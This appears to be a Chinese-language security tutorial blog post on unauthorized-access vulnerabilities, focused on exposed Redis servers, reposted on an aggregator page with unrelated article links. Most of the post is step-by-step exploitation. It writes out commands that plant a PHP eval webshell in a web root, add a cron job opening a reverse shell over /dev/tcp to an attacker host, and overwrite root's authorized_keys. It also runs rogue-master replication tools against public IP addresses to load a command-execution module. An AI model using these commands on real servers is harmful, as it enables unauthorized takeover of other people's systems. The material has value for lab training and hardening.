当前位置: 首页 > news >正文

未授权访问

未授权概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

常见未授权访问漏洞

Redis 未授权访问漏洞

Docker 未授权访问漏洞

MongoDB 未授权访问漏洞

Jenkins 未授权访问漏洞

Memcached 未授权访问漏洞

JBOSS 未授权访问漏洞

VNC 未授权访问漏洞

ZooKeeper 未授权访问漏洞

Rsync 未授权访问漏洞

Atlassian Crowd 未授权访问漏洞

CouchDB 未授权访问漏洞

Elasticsearch 未授权访问漏洞

Hadoop 未授权访问漏洞

Jupyter Notebook 未授权访问漏洞

Redis未授权访问
Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。

Redis 主要有两个应用场景:

  1. 存储 缓存 用的数据;
  2. 需要高速读/写的场合使用它快速读/写;

Redis 架构
Redis 主要由有两个程序组成:

Redis 客户端 redis-cli
Redis 服务器 redis-server

客户端、服务器可以位于同一台计算机或两台不同的计算机中

漏洞发现

端口
Redis 服务默认监听在6379端口上

MongoDB:27017
Memcached:11211 
Jboss:8080
VNC:5900、5901
Docker:2375

端口探测
nmap端口扫描

nmap -v -Pn -p 6379 -sV IP

-v:显示过程
-Pn:no ping-
sV:版本探测

Redis常用命令

redis连接远程服务器:
redis-cli -h host -p port -a password

set testkey "Hello World"          # 设置键testkey的值为字符串
get testkey                        # 获取键testkey的内容
set score 99                       # 设置键score的值为99
incr score                         # 使用INCR命令将score的值增加

get score                          # 获取键score的内容
keys *                             # 列出当前数据库中所有的键
config set dir /home/test          # 设置工作目录
config set dbfilename redis.rdb    # 设置备份文件名
config get dir                     # 检查工作目录是否设置成功
config get dbfilename              # 检查备份文件名是否设置成功
save                               # 进行一次备份操作
flushall                           # 删除所有数据
del key                            # 删除键为key的数据

Redis历史漏洞
Redis未授权访问
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

  1. 导致敏感信息泄露
  2. 执行flushall可清空所有数据
  3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)
  4. 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录

Redis主从复制RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的

漏洞利用

漏洞环境搭建

docker pull medicean/vulapps:r_redis_1
docker run -dit -p 6379:6379 -p 2222:22 
medicean/vulapps:r_redis_1

漏洞利用方法

1. 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
2. 通过redis数据备份功能写定时任务,通过定时任务反弹Shell
3. 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器

安装 redis-cli 客户端
4. 包管理器安装

 apt install redis-tools

2.源码安装

wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz    //解压
cd redis-6.0.3/
make    //编译
cd src/
cp redis-cli /usr/bin   //客户端连接程序

写webshell
条件

  1. 知道网站根目录绝对路径
  2. 对目标网站根目录有写入权
 redis-cli -h 10.1.1.200 -p 6379
 config set dir /var/www/html
 config set dbfilename shell.php
 set x "<?php @eval($_POST['cmd']);?>"
 save

写定时任务反弹shell

 redis-cli -h 10.1.1.200 -p 6379
 
 set xxx "\n\n*/1 * * * * /bin/bash -i>& 
/dev/tcp/10.1.1.100/4433 0>&1\n\n"

 config set dir /var/spool/cron
 
 config set dbfilename root
 
 save

写SSH公钥

默认情况下,生成的SSH密钥在用户家目录的 .ssh 目录下
ssh-keygen -t rsa

 (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > 
/tmp/foo.txt

 cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m
 
 redis-cli -h 192.168.1.100 -p 6379
 
 config set dir /root/.ssh/

 config set dbfilename "authorized_keys"
 
 save
 
 ssh root@139.9.198.30 -i ~/.ssh/id_rsa

主从复制RCE
如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情 况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中 主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一 种通过牺牲空间来换取效率的缓解方式。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通 过写C语言并编译出.so文件。

1.手动编译so扩展文件

编译生成so扩展文件
cd /root/
git clone https://github.com/puckiestyle/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make

2.脚本利用Redis主从复制RCE
https://github.com/puckiestyle/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
https://github.com/Dliv3/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell

cd /root/
 
git clone https://github.com/Ridter/redis-rce
 
cd redis-rce
 
python3 -m pip install -r requirement.txt
 
cp /root/RedisModules-ExecuteCommand/module.so ./module.so
 
python3 redis-rce.py -r 124.71.45.28 -p 6379 -L 47.104.255.11 -P 7890 -f modules.s
 
redis-cli -h 124.71.45.28 -p 6379
 config get dir
 config get dbfilename
 system.exec "id"

脚本原理

  1. 首先连接目标未授权redis服务
  2. 发送配置主从模式的命令到目标redis服务

命令如下:

 slaveof 47.104.255.11 7890
 config set dbfilename module.so
  1. 监听
    124.71.45.28:7890 作为redis主机
  2. 目标机器(从机)从主机复制 module.so 内容保存到文件中
  3. 目标机器加载module.so扩展模块
 MODULE LOAD ./module.so
  1. 执行命令

 system.exec "命令"

注意:这漏洞我也没能复现出来,真的要弄 需要百度查一下才行

可参考:https://www.cnblogs.com/hellobao/articles/17356185.html

https://zhuanlan.zhihu.com/p/697885693

相关文章:

  • neo4j知识图谱常用命令
  • 在Java中使用JDK8创建SpringBoot项目时无法选择Java8
  • es6 fetch
  • Flutter快速搭建聊天
  • eNSP中华为S5700交换机基础配置命令
  • Android Compose 框架物理动画之弹簧动画(Spring、SpringSpec)深入剖析(二十七)
  • SEO长尾关键词精准布局策略
  • JAVA多线程
  • 物联网平台架构介绍
  • redis 学习笔记
  • 初教六双击编队特技动作解析
  • 【产品小白】需求分析的进阶
  • DeepSeek-V3 模型更新,加量不加价
  • 2025 polarctf春季个人挑战赛web方向wp
  • 向量数据库学习笔记(1) —— 基础概念
  • 1.基于TCP的简单套接字服务器实现
  • TiDB与Doris实操对比:深度剖析数据库选型要点
  • 期权合约到期了还能继续持有吗?
  • 至此,他19岁青春烙印上了苦涩的烧痕。
  • C语言判断闰年相关问题
  • 看展 | 黄永玉新作展,感受赤子般的生命力
  • 林诗栋/蒯曼混双取胜,国乒赢得多哈世乒赛开门红
  • 美国新泽西客运公司遭遇罢工:40年来首次,35万人受影响
  • 定制基因编辑疗法治愈罕见遗传病患儿
  • 最高人民法院、中国证监会联合发布《关于严格公正执法司法 服务保障资本市场高质量发展的指导意见》
  • 风雨天涯梦——《袁保龄公牍》发微